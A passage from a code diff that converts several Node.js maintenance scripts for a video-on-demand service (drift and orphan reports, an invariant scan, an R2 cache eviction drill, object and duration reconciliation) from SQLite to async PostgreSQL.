try {++ // Read-only: the report runs in a READ ONLY transaction (PostgreSQL refuses any write inside it).++ const { buildReport, formatReport } = require('../server/objects/copy-report');++ const d = require('../server/db/database').getDb();++ const q = {++ all: async (sql, params = []) => await d.prepare(sql).all(...params),++ get: async (sql, params = []) => await d.prepare(sql).get(...params),++ };++ const report = await d.tx(async (t) => {++ await t.query('SET TRANSACTION READ ONLY');++ return await buildReport(q, { appId: arg('app', null) });++ });++ if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));++ console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));++ process.exit(report.count ? 1 : 0);++ } catch (err) {++ console.error(err.message);++ process.exit(2);++ }++})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,7 +8,7 @@* opened read-only and only local files are stat'ed (paths from the service's environment:* VOD_PATH, CLIPS_PATH, FILES_PATH, THUMBNAILS_PATH, as the projection uses them).*-- * node scripts/object-drift-report.js [--app live] [--limit 20] [--json] [--out report.json] [--db ./data/media.db]++ * node scripts/object-drift-report.js [--app live] [--limit 20] [--json] [--out report.json]** Exit code 0 always: it is a report (an error is printed to stderr). Zero drift across a release* is the signal to remove the boot backfill (server/index.js) and the finalize follow-up.@@@ -16,25 +16,29 @@const fs = require('fs');const path = require('path');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };--try {-- const dbPath = arg('db') ? path.resolve(arg('db')) : require('../server/config').db.path;-- const Database = require('better-sqlite3');-- const h = new Database(dbPath, { readonly: true, fileMustExist: true });-- const q = {-- all: (sql, params = []) => h.prepare(sql).all(...params),-- get: (sql, params = []) => h.prepare(sql).get(...params),-- };-- const { buildReport, formatReport } = require('../server/objects/drift');-- const limit = Math.max(0, parseInt(arg('limit', '20'), 10) || 0);-- const report = buildReport(q, { appId: arg('app', null), limit });-- h.close();-- if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));-- console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));--} catch (err) {-- console.error(`object-drift-report: ${err.message}`);--}--process.exit(0);++ try {++ // Read-only: the report runs in a READ ONLY transaction (PostgreSQL refuses any write inside it).++ const { buildReport, formatReport } = require('../server/objects/drift');++ const limit = Math.max(0, parseInt(arg('limit', '20'), 10) || 0);++ const d = require('../server/db/database').getDb();++ const q = {++ all: async (sql, params = []) => await d.prepare(sql).all(...params),++ get: async (sql, params = []) => await d.prepare(sql).get(...params),++ };++ const report = await d.tx(async (t) => {++ await t.query('SET TRANSACTION READ ONLY');++ return await buildReport(q, { appId: arg('app', null), limit });++ });++ if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));++ console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));++ } catch (err) {++ console.error(`object-drift-report: ${err.message}`);++ }++ process.exit(0);++})().catch((err) => { console.error(err); process.exit(1); });@@@ -7,26 +7,28 @@* warn/violation rows in media_invariant_violations (resolving rows that no longer apply).* Nothing is re-encoded.*-- * node scripts/object-invariant.js [--dry-run] [--app live] [--json] [--db ./data/media.db]++ * node scripts/object-invariant.js [--dry-run] [--app live] [--json]*/const path = require('path');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--const { scan, MB } = require('../server/objects/invariant');--const report = scan({ record: !has('dry-run'), appId: arg('app', null) });--if (has('json')) console.log(JSON.stringify(report, null, 2));--else {-- const t = report.thresholds;-- console.log(`public playback objects — target ${t.targetBytes / MB} MB, warn ${t.warnBytes / MB} MB, max ${t.maxBytes / MB} MB${has('dry-run') ? ' (dry run)' : ''}`);-- console.log(` ok ${report.counts.ok}, above target ${report.counts.above_target}, warn ${report.counts.warn}, violation ${report.counts.violation}`);-- for (const o of report.objects.slice(0, 50)) {-- console.log(` ${o.level.padEnd(12)} ${(o.size_bytes / MB).toFixed(0).padStart(6)} MB ${o.object_id} ${o.legacy_ref || ''}`);++ const { scan, MB } = require('../server/objects/invariant');++ const report = await scan({ record: !has('dry-run'), appId: arg('app', null) });++ if (has('json')) console.log(JSON.stringify(report, null, 2));++ else {++ const t = report.thresholds;++ console.log(`public playback objects — target ${t.targetBytes / MB} MB, warn ${t.warnBytes / MB} MB, max ${t.maxBytes / MB} MB${has('dry-run') ? ' (dry run)' : ''}`);++ console.log(` ok ${report.counts.ok}, above target ${report.counts.above_target}, warn ${report.counts.warn}, violation ${report.counts.violation}`);++ for (const o of report.objects.slice(0, 50)) {++ console.log(` ${o.level.padEnd(12)} ${(o.size_bytes / MB).toFixed(0).padStart(6)} MB ${o.object_id} ${o.legacy_ref || ''}`);++ }++ if (report.objects.length > 50) console.log(` … ${report.objects.length - 50} more (use --json)`);}-- if (report.objects.length > 50) console.log(` … ${report.objects.length - 50} more (use --json)`);--}--require('../server/db/database').close();--process.exit(0);++ await require('../server/db/database').close();++ process.exit(0);++})().catch((err) => { console.error(err); process.exit(1); });@@@ -5,7 +5,7 @@* criterion; docs/object-model.md#r2-eviction-drill). Dry run unless --execute.** node scripts/r2-eviction-drill.js (--vod <id> | --pick) [--execute] [--base-url https://openvibe.media]-- * [--no-http] [--max-mb 512] [--out artifact.json] [--json] [--db ./data/media.db]++ * [--no-http] [--max-mb 512] [--out artifact.json] [--json]** The VOD must be served from R2 today (storage_provider r2: a B2 canonical copy plus an R2 cache copy),* not recording, not under a retention hold (a hold freezes placement), and public or unlisted unless@@@ -90,21 +90,22 @@ async function runDrill(opts, deps) {checks: {}, steps: [], locations: {}, verdict: null, reason: null,};const step = (name, ok, detail = {}) => { art.steps.push({ name, ok, at: nowIso(), ...detail }); return ok; };-- const locations = () => (art.object_id ? model.listLocations(art.object_id).map(l => ({ provider: l.provider, state: l.state, size_bytes: l.size_bytes, verified_at: l.verified_at })) : []);++ const locations = async () => (art.object_id ? (await model.listLocations(art.object_id)).map(l => ({ provider: l.provider, state: l.state, size_bytes: l.size_bytes, verified_at: l.verified_at })) : []);const refuse = (reason) => { art.verdict = 'refused'; art.reason = reason; art.finished_at = nowIso(); return art; };-- const fail = (reason) => { art.verdict = 'fail'; art.reason = reason; art.finished_at = nowIso(); art.locations.at_failure = locations(); return art; };++ const fail = async (reason) => { art.verdict = 'fail'; art.reason = reason; art.finished_at = nowIso(); art.locations.at_failure = await locations(); return art; };if (!storage.providerConfigured('b2') || !storage.providerConfigured('r2')) return refuse('B2 and R2 must both be configured (MEDIA_B2_*, MEDIA_R2_*)');// ── Choose the VOD ──let vod = null;-- if (opts.vodId) vod = db.get('SELECT * FROM vods WHERE id = ?', [opts.vodId]);++ if (opts.vodId) vod = await db.get('SELECT * FROM vods WHERE id = ?', [opts.vodId]);else if (opts.pick) {-- const cands = db.all(`SELECT * FROM vods WHERE storage_provider = 'r2' AND COALESCE(is_recording, 0) = 0 AND COALESCE(clips_only, 0) = 0++ const cands = await db.all(`SELECT * FROM vods WHERE storage_provider = 'r2' AND COALESCE(is_recording, 0) = 0 AND COALESCE(clips_only, 0) = 0AND file_path IS NOT NULL AND COALESCE(file_size, 0) > 0 AND file_size <= ?-- ${opts.http ? "AND COALESCE(visibility, CASE WHEN is_public THEN 'public' ELSE 'private' END) != 'private'" : ''}++ ${opts.http ? "AND COALESCE(visibility, CASE WHEN is_public = 1 THEN 'public' ELSE 'private' END) != 'private'" : ''}ORDER BY file_size ASC LIMIT 50`, [Math.max(1, opts.maxMb) * MIB]);-- vod = cands.find(v => !model.isHeldRow(v)) || null;++ vod = null;++ for (const v of cands) if (!await model.isHeldRow(v)) { vod = v; break; }if (!vod) return refuse(`no VOD served from R2 fits (not recording, not held${opts.http ? ', public or unlisted' : ''}, at most ${opts.maxMb} MB)`);} else return refuse('name a VOD (--vod <id>) or --pick one');if (!vod) return refuse(`vod ${opts.vodId} not found`);@@@ -116,10 +117,10 @@ async function runDrill(opts, deps) {if (storage.providerOf(vod) !== 'r2') return refuse(`vod ${vod.id} is served from ${storage.providerOf(vod)}, not R2: there is no R2 copy to evict`);if (vod.is_recording) return refuse(`vod ${vod.id} is recording`);if (vod.clips_only) return refuse(`vod ${vod.id} is a clips-only recording`);-- if (model.isHeldRow(vod)) return refuse(`vod ${vod.id} is under a retention hold (holds freeze placement)`);++ if (await model.isHeldRow(vod)) return refuse(`vod ${vod.id} is under a retention hold (holds freeze placement)`);if (opts.http && vis === 'private') return refuse(`vod ${vod.id} is private: /v/<id> would not serve it anonymously (use --no-http)`);if (opts.http && !opts.baseUrl) return refuse('--base-url (or MEDIA_PUBLIC_URL) is needed for the HTTP checks');-- art.locations.before = locations();++ art.locations.before = await locations();// ── Both copies agree (size, and the first MiB) ──const [b2, r2] = await Promise.all([storage.headObject('b2', art.key), storage.headObject('r2', art.key)]);@@@ -141,7 +142,7 @@ async function runDrill(opts, deps) {/** Where playback goes now: GET /v/<id>?raw=1 (or resolvePlayback in-process) and the first MiB served there. */const served = async () => {if (!opts.http) {-- const plan = await storage.resolvePlayback(db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));++ const plan = await storage.resolvePlayback(await db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));if (!plan || plan.kind !== 'redirect') return { provider: plan ? plan.kind : null };const got = await firstMibSha(plan.url, fetchImpl);return { via: 'resolvePlayback', provider: plan.provider, status: 302, first_mib_sha256: got.sha256 };@@@ -169,34 +170,34 @@ async function runDrill(opts, deps) {// 1. beforeconst before = await served();-- if (!step('before: served from R2', before.provider === 'r2' && before.first_mib_sha256 === expectSha, before)) return fail('playback is not coming from R2 before the eviction');++ if (!step('before: served from R2', before.provider === 'r2' && before.first_mib_sha256 === expectSha, before)) return await fail('playback is not coming from R2 before the eviction');// 2. evictconst ev = await storage.demoteFromR2(vod.id, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });-- const rowAfterEvict = db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);++ const rowAfterEvict = await db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);const r2Gone = await storage.headObject('r2', art.key);-- art.locations.after_evict = locations();++ art.locations.after_evict = await locations();if (!step('evict: R2 copy removed', !!(ev && ev.ok) && !r2Gone && rowAfterEvict.storage_provider === 'b2', { result: ev, r2_head: r2Gone, storage_provider: rowAfterEvict.storage_provider })) {-- return fail('the eviction did not complete');++ return await fail('the eviction did not complete');}// 3. served from B2const fromB2 = await served();const b2Head = await storage.headObject('b2', art.key);if (!step('from B2: served from the canonical copy', fromB2.provider === 'b2' && fromB2.first_mib_sha256 === expectSha && !!b2Head && b2Head.size === b2.size, { ...fromB2, b2_head: b2Head })) {-- return fail('after the eviction the VOD is not served from B2');++ return await fail('after the eviction the VOD is not served from B2');}// 4. re-warmconst pr = await storage.promoteToR2(vod.id, { trigger: 'drill', reason: 'R2 eviction drill: re-warm R2 from B2' });const r2Back = await storage.headObject('r2', art.key);-- const rowAfterWarm = db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);++ const rowAfterWarm = await db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);if (!step('re-warm: R2 copy restored from B2', !!(pr && pr.ok) && !!r2Back && r2Back.size === b2.size && rowAfterWarm.storage_provider === 'r2', { result: pr, r2_head: r2Back, storage_provider: rowAfterWarm.storage_provider })) {-- return fail('the re-warm did not complete (the VOD is still served from B2)');++ return await fail('the re-warm did not complete (the VOD is still served from B2)');}// 5. afterconst after = await served();-- art.locations.after = locations();++ art.locations.after = await locations();const locOk = !art.object_id || ['b2', 'r2'].every(p => (art.locations.after.find(l => l.provider === p) || {}).state === 'present');if (!step('after: served from R2 again', after.provider === 'r2' && after.first_mib_sha256 === expectSha && locOk, { ...after, locations_present: locOk })) {-- return fail('after the re-warm the VOD is not served from R2');++ return await fail('after the re-warm the VOD is not served from R2');}art.verdict = 'pass';art.finished_at = nowIso();@@@ -211,19 +212,20 @@ function summarize(art) {if (require.main === module) {const opts = parseArgs(process.argv);-- if (opts.db) process.env.DB_PATH = path.resolve(opts.db);const config = require('../server/config');if (!opts.baseUrl) opts.baseUrl = config.publicUrl;const storage = require('../server/vod/vod-storage');const db = require('../server/db/database');const model = require('../server/objects/model');(async () => {++ await db.initDb(); // PostgreSQL (DATABASE_URL), as the service++ await storage.tierConfig.init(storage.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } });const art = await runDrill(opts, { storage, db, model });const out = opts.out || path.join(path.dirname(config.db.path), 'drills', `r2-eviction-${art.vod_id ?? 'none'}-${art.started_at.replace(/[:.]/g, '-')}.json`);fs.mkdirSync(path.dirname(out), { recursive: true });fs.writeFileSync(out, JSON.stringify(art, null, 2));console.log(opts.json ? JSON.stringify(art, null, 2) : `${summarize(art)}\nartifact: ${out}`);-- db.close();++ await db.close();process.exit(art.verdict === 'pass' || art.verdict === 'dry-run' ? 0 : art.verdict === 'refused' ? 2 : 1);})().catch((err) => { console.error(err); process.exit(1); });}@@@ -3,7 +3,7 @@/*** Reconcile the object model against the bytes (docs/object-model.md#reconciliation).*-- * node scripts/reconcile-objects.js [--verify] [--hash] [--app live] [--json] [--out report.json] [--db ./data/media.db]++ * node scripts/reconcile-objects.js [--verify] [--hash] [--app live] [--json] [--out report.json]** Default: read-only — checks local files and database consistency, writes nothing.* --verify also HEADs every B2/R2 location with the storage engine's S3 client (MEDIA_B2_* / MEDIA_R2_*)@@@ -14,18 +14,21 @@const fs = require('fs');const path = require('path');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ { const st = require('../server/vod/vod-storage'); await st.tierConfig.init(st.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } }); } // the storage policy as configured (quiet: stdout is the report)++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--const { reconcile, summarize } = require('../server/objects/reconcile');++ const { reconcile, summarize } = require('../server/objects/reconcile');--(async () => {-- if (has('verify')) await require('../server/vod/vod-storage').checkProviders().catch(() => {});-- const report = await reconcile({ verify: has('verify'), hash: has('hash'), appId: arg('app', null) });-- if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));-- console.log(has('json') ? JSON.stringify(report, null, 2) : summarize(report));-- require('../server/db/database').close();-- process.exit(report.total_issues ? 1 : 0);--})().catch((err) => { console.error(err); process.exit(2); });++ (async () => {++ if (has('verify')) await require('../server/vod/vod-storage').checkProviders().catch(() => {});++ const report = await reconcile({ verify: has('verify'), hash: has('hash'), appId: arg('app', null) });++ if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));++ console.log(has('json') ? JSON.stringify(report, null, 2) : summarize(report));++ await require('../server/db/database').close();++ process.exit(report.total_issues ? 1 : 0);++ })().catch((err) => { console.error(err); process.exit(2); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -14,14 +14,13 @@* packets; remote: the container must agree with its streams, or --confirm-remote reads the* whole copy, which is B2/R2 egress).* node scripts/vod-duration-reconcile.js --apply --backup <file.json> [same selection]-- * First an online backup of the database to <file>.media.db (checked with integrity_check),-- * then repairs the confirmed wrong/missing values (only rows still holding the value read);-- * <file.json> is the report, which lists every repair with its old values (the rollback file).-- * Refuses to overwrite either file.++ * Repairs the confirmed wrong/missing values (only rows still holding the value read);++ * <file.json> is the report, which lists every repair with its old values (the rollback file;++ * the database's own safety net is PostgreSQL's point-in-time recovery). Refuses to overwrite it.* node scripts/vod-duration-reconcile.js --rollback <file.json> [--apply]* Restores the old values of the repairs the file lists, where the row still holds what the* repair wrote. Without --apply it only reports what it would restore.-- * (every command takes --db <media.db>; the database is DB_PATH otherwise)++ * (the database is the service's: DATABASE_URL, from its env file)** B2/R2 credentials come from the environment (the service's /etc/openvibe/media.env names).* Exit codes: 0 done, 1 error, 2 bad usage.@@@ -29,102 +28,88 @@const fs = require('fs');const path = require('path');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };--const usage = (msg) => { console.error(`vod-duration-reconcile: ${msg}`); process.exit(2); };--for (const flag of ['db', 'backup', 'rollback', 'batch', 'after', 'ids', 'app', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };++ const usage = (msg) => { console.error(`vod-duration-reconcile: ${msg}`); process.exit(2); };++ for (const flag of ['db', 'backup', 'rollback', 'batch', 'after', 'ids', 'app', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);--const APPLY = has('apply');--const JSON_OUT = has('json');--const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;--const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;--const BATCH = arg('batch') ? Number(arg('batch')) : 50;--const AFTER = arg('after') ? Number(arg('after')) : 0;--const IDS = arg('ids') ? arg('ids').split(',').map(Number) : null;--if (!Number.isInteger(BATCH) || BATCH < 1 || BATCH > 200) usage('--batch must be an integer 1-200');--if (!Number.isInteger(AFTER) || AFTER < 0) usage('--after must be a vod id');--if (IDS && IDS.some(n => !Number.isInteger(n) || n < 1)) usage('--ids must be a comma list of vod ids');--if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');--if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');++ const APPLY = has('apply');++ const JSON_OUT = has('json');++ const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;++ const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;++ const BATCH = arg('batch') ? Number(arg('batch')) : 50;++ const AFTER = arg('after') ? Number(arg('after')) : 0;++ const IDS = arg('ids') ? arg('ids').split(',').map(Number) : null;++ if (!Number.isInteger(BATCH) || BATCH < 1 || BATCH > 200) usage('--batch must be an integer 1-200');++ if (!Number.isInteger(AFTER) || AFTER < 0) usage('--after must be a vod id');++ if (IDS && IDS.some(n => !Number.isInteger(n) || n < 1)) usage('--ids must be a comma list of vod ids');++ if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');++ if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file)');--const config = require('../server/config');--if (!fs.existsSync(config.db.path)) usage(`no database at ${config.db.path} (set DB_PATH or pass --db)`);--const db = require('../server/db/database');--const reconcile = require('../server/vod/duration-reconcile');--const log = (...a) => { if (!JSON_OUT) console.log(...a); };++ const config = require('../server/config');++ const db = require('../server/db/database');++ const reconcile = require('../server/vod/duration-reconcile');++ const log = (...a) => { if (!JSON_OUT) console.log(...a); };--function writePrivate(file, text) {-- fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 });-- const tmp = `${file}.tmp-${process.pid}`;-- const fd = fs.openSync(tmp, 'wx', 0o600);-- try { fs.writeSync(fd, text); fs.fsyncSync(fd); } finally { fs.closeSync(fd); }-- fs.renameSync(tmp, file);--}++ function writePrivate(file, text) {++ fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 });++ const tmp = `${file}.tmp-${process.pid}`;++ const fd = fs.openSync(tmp, 'wx', 0o600);++ try { fs.writeSync(fd, text); fs.fsyncSync(fd); } finally { fs.closeSync(fd); }++ fs.renameSync(tmp, file);++ }--async function backupDatabase(dest) {-- fs.mkdirSync(path.dirname(dest), { recursive: true, mode: 0o700 });-- await db.getDb().backup(dest);-- fs.chmodSync(dest, 0o600);-- const Database = require('better-sqlite3');-- const copy = new Database(dest, { readonly: true, fileMustExist: true });-- try { return { path: dest, bytes: fs.statSync(dest).size, integrity_check: copy.pragma('integrity_check', { simple: true }), vods: copy.prepare('SELECT count(*) AS n FROM vods').get().n }; } finally { copy.close(); }--}--const fmt = (s) => (s == null ? '-' : `${Math.round(s)}s`);--function printRow(r) {-- if (r.verdict === 'ok') return;-- log(` vod ${String(r.vod_id).padStart(6)} ${String(r.where || '-').padEnd(5)} stored ${fmt(r.stored).padStart(8)} (${r.stored_source || '?'}) measured ${fmt(r.measured).padStart(8)} (${r.measured_source || '-'}) ${r.verdict.padEnd(12)} ${r.action}${r.note ? ` [${r.note}]` : ''}`);--}++ const fmt = (s) => (s == null ? '-' : `${Math.round(s)}s`);++ function printRow(r) {++ if (r.verdict === 'ok') return;++ log(` vod ${String(r.vod_id).padStart(6)} ${String(r.where || '-').padEnd(5)} stored ${fmt(r.stored).padStart(8)} (${r.stored_source || '?'}) measured ${fmt(r.measured).padStart(8)} (${r.measured_source || '-'}) ${r.verdict.padEnd(12)} ${r.action}${r.note ? ` [${r.note}]` : ''}`);++ }--async function main() {-- if (ROLLBACK) {-- let rep;-- try { rep = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8')); } catch (err) { usage(`cannot read ${ROLLBACK}: ${err.message}`); }-- if (!rep || rep.kind !== 'media.vod.duration_reconcile' || !Array.isArray(rep.rows)) usage(`${ROLLBACK} is not a duration reconcile report`);-- const out = reconcile.rollback(rep.rows, { apply: APPLY });-- log(APPLY ? `Restored ${out.restored} VOD duration(s); ${out.changed_since} changed since (left alone).`-- : `Would restore ${out.would_restore} VOD duration(s); ${out.changed_since} changed since. Re-run with --apply to restore.`);-- if (JSON_OUT) console.log(JSON.stringify(out, null, 2));++ async function main() {++ if (ROLLBACK) {++ let rep;++ try { rep = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8')); } catch (err) { usage(`cannot read ${ROLLBACK}: ${err.message}`); }++ if (!rep || rep.kind !== 'media.vod.duration_reconcile' || !Array.isArray(rep.rows)) usage(`${ROLLBACK} is not a duration reconcile report`);++ const out = await reconcile.rollback(rep.rows, { apply: APPLY });++ log(APPLY ? `Restored ${out.restored} VOD duration(s); ${out.changed_since} changed since (left alone).`++ : `Would restore ${out.would_restore} VOD duration(s); ${out.changed_since} changed since. Re-run with --apply to restore.`);++ if (JSON_OUT) console.log(JSON.stringify(out, null, 2));++ return 0;++ }++ const dbCopy = null; // the database's own copy is PostgreSQL's point-in-time recovery (pgBackRest); the report is the rollback file++ if (APPLY && fs.existsSync(BACKUP)) usage(`${BACKUP} already exists; pick a new --backup name`);++ const all = { kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: APPLY ? 'apply' : 'dry-run', app_id: arg('app') || null,++ thresholds: reconcile.THRESHOLDS, confirm_remote: has('confirm-remote'), batches: 0, range: { after_id: IDS ? null : AFTER, last_id: null, done: false }, counts: null, rows: [], db_backup: dbCopy };++ let after = AFTER;++ log(`${APPLY ? 'Reconciling' : 'Dry run over'} VOD durations ${all.app_id ? ` (app ${all.app_id})` : ''}${IDS ? `, vods ${IDS.join(',')}` : `, from vod id > ${AFTER}, batches of ${BATCH}`}${has('all') ? ', every batch' : ''}`);++ for (;;) {++ const rep = await reconcile.reconcileBatch({ appId: all.app_id, afterId: after, limit: IDS ? Math.min(200, IDS.length) : BATCH, ids: IDS, apply: APPLY, confirmRemote: has('confirm-remote'), onRow: printRow });++ all.batches++;++ all.rows.push(...rep.rows);++ if (!all.counts) all.counts = { ...rep.counts };++ else for (const k of Object.keys(rep.counts)) all.counts[k] += rep.counts[k];++ all.range.last_id = rep.range.last_id ?? all.range.last_id;++ all.range.done = rep.range.done;++ if (APPLY) writePrivate(BACKUP, JSON.stringify(all, null, 1)); // the rollback file is current after every batch++ if (IDS || rep.range.done || !has('all')) break;++ after = rep.range.last_id;++ }++ const file = APPLY ? BACKUP : (arg('out') ? path.resolve(arg('out')) : null);++ const written = APPLY ? file : reconcile.writeReport(all, file);++ const c = all.counts;++ log('');++ log(`Checked ${c.checked} (${c.remote} remote): ok ${c.ok}, mismatch ${c.mismatch}, wrong ${c.wrong}, missing ${c.missing}, unmeasurable ${c.unmeasurable}, skipped ${c.skipped}.`);++ log(APPLY ? `Repaired ${c.repaired}; ${c.unconfirmed} unconfirmed (not written); ${c.changed_since} changed while running.`++ : `Would repair ${c.would_repair}; ${c.unconfirmed} unconfirmed (would not be written). Nothing changed.`);++ if (!all.range.done && !IDS) log(`More to check: next run --after ${all.range.last_id} (or --all).`);++ log(`Report: ${written}`);++ if (JSON_OUT) console.log(JSON.stringify({ ...all, rows: undefined, report: written }, null, 2));return 0;}-- let dbCopy = null;-- if (APPLY) {-- const copyPath = BACKUP.replace(/\.json$/i, '') + '.media.db';-- for (const f of [BACKUP, copyPath]) if (fs.existsSync(f)) usage(`${f} already exists; pick a new --backup name`);-- log(`Backing up ${config.db.path} -> ${copyPath} ...`);-- dbCopy = await backupDatabase(copyPath);-- if (dbCopy.integrity_check !== 'ok') { console.error(`backup failed integrity_check: ${dbCopy.integrity_check}; nothing changed`); return 1; }-- log(` ${dbCopy.bytes} bytes, integrity_check ok, ${dbCopy.vods} vods`);-- }-- const all = { kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: APPLY ? 'apply' : 'dry-run', app_id: arg('app') || null,-- thresholds: reconcile.THRESHOLDS, confirm_remote: has('confirm-remote'), batches: 0, range: { after_id: IDS ? null : AFTER, last_id: null, done: false }, counts: null, rows: [], db_backup: dbCopy };-- let after = AFTER;-- log(`${APPLY ? 'Reconciling' : 'Dry run over'} VOD durations in ${config.db.path}${all.app_id ? ` (app ${all.app_id})` : ''}${IDS ? `, vods ${IDS.join(',')}` : `, from vod id > ${AFTER}, batches of ${BATCH}`}${has('all') ? ', every batch' : ''}`);-- for (;;) {-- const rep = await reconcile.reconcileBatch({ appId: all.app_id, afterId: after, limit: IDS ? Math.min(200, IDS.length) : BATCH, ids: IDS, apply: APPLY, confirmRemote: has('confirm-remote'), onRow: printRow });-- all.batches++;-- all.rows.push(...rep.rows);-- if (!all.counts) all.counts = { ...rep.counts };-- else for (const k of Object.keys(rep.counts)) all.counts[k] += rep.counts[k];-- all.range.last_id = rep.range.last_id ?? all.range.last_id;-- all.range.done = rep.range.done;-- if (APPLY) writePrivate(BACKUP, JSON.stringify(all, null, 1)); // the rollback file is current after every batch-- if (IDS || rep.range.done || !has('all')) break;-- after = rep.range.last_id;-- }-- const file = APPLY ? BACKUP : (arg('out') ? path.resolve(arg('out')) : null);-- const written = APPLY ? file : reconcile.writeReport(all, file);-- const c = all.counts;-- log('');-- log(`Checked ${c.checked} (${c.remote} remote): ok ${c.ok}, mismatch ${c.mismatch}, wrong ${c.wrong}, missing ${c.missing}, unmeasurable ${c.unmeasurable}, skipped ${c.skipped}.`);-- log(APPLY ? `Repaired ${c.repaired}; ${c.unconfirmed} unconfirmed (not written); ${c.changed_since} changed while running.`-- : `Would repair ${c.would_repair}; ${c.unconfirmed} unconfirmed (would not be written). Nothing changed.`);-- if (!all.range.done && !IDS) log(`More to check: next run --after ${all.range.last_id} (or --all).`);-- log(`Report: ${written}`);-- if (JSON_OUT) console.log(JSON.stringify({ ...all, rows: undefined, report: written }, null, 2));-- return 0;--}--main().then((code) => { db.close(); process.exit(code); }).catch((err) => { console.error(err); process.exit(1); });++ main().then(async (code) => { await db.close(); process.exit(code); }).catch((err) => { console.error(err); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -4,13 +4,13 @@* Orphan reports (server/vod/orphans-report.js has the rules). Read-only: they list, HEAD and read the* database, and write a report file. They never delete, move, copy or write an object, a file or a row.*-- * node scripts/vods-orphans-report.js [--prefix vods-orphans/] [--provider b2] [--out <report.json>] [--json] [--db <media.db>]++ * node scripts/vods-orphans-report.js [--prefix vods-orphans/] [--provider b2] [--out <report.json>] [--json]** The B2 `vods-orphans/` prefix (hazard H3): lists the prefix (ListObjectsV2), HEADs each match's* canonical copy, prints one line per object (key, size, matched VOD/clip, recommendation) and the* totals per recommendation, and writes the full report (default <data>/reports/vods-orphans-<time>.json).*-- * node scripts/vods-orphans-report.js --storage [--no-remote] [--limit 2000] [--out <report.json>] [--json] [--db <media.db>]++ * node scripts/vods-orphans-report.js --storage [--no-remote] [--limit 2000] [--out <report.json>] [--json]** The whole storage against the database (the storage.orphans.scan job, on demand): files under the data* directories and B2/R2 keys that no row names, copies the database records that are not there, and@@@ -22,68 +22,70 @@const fs = require('fs');const path = require('path');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name) => { const i = args.indexOf(`--${name}`); return 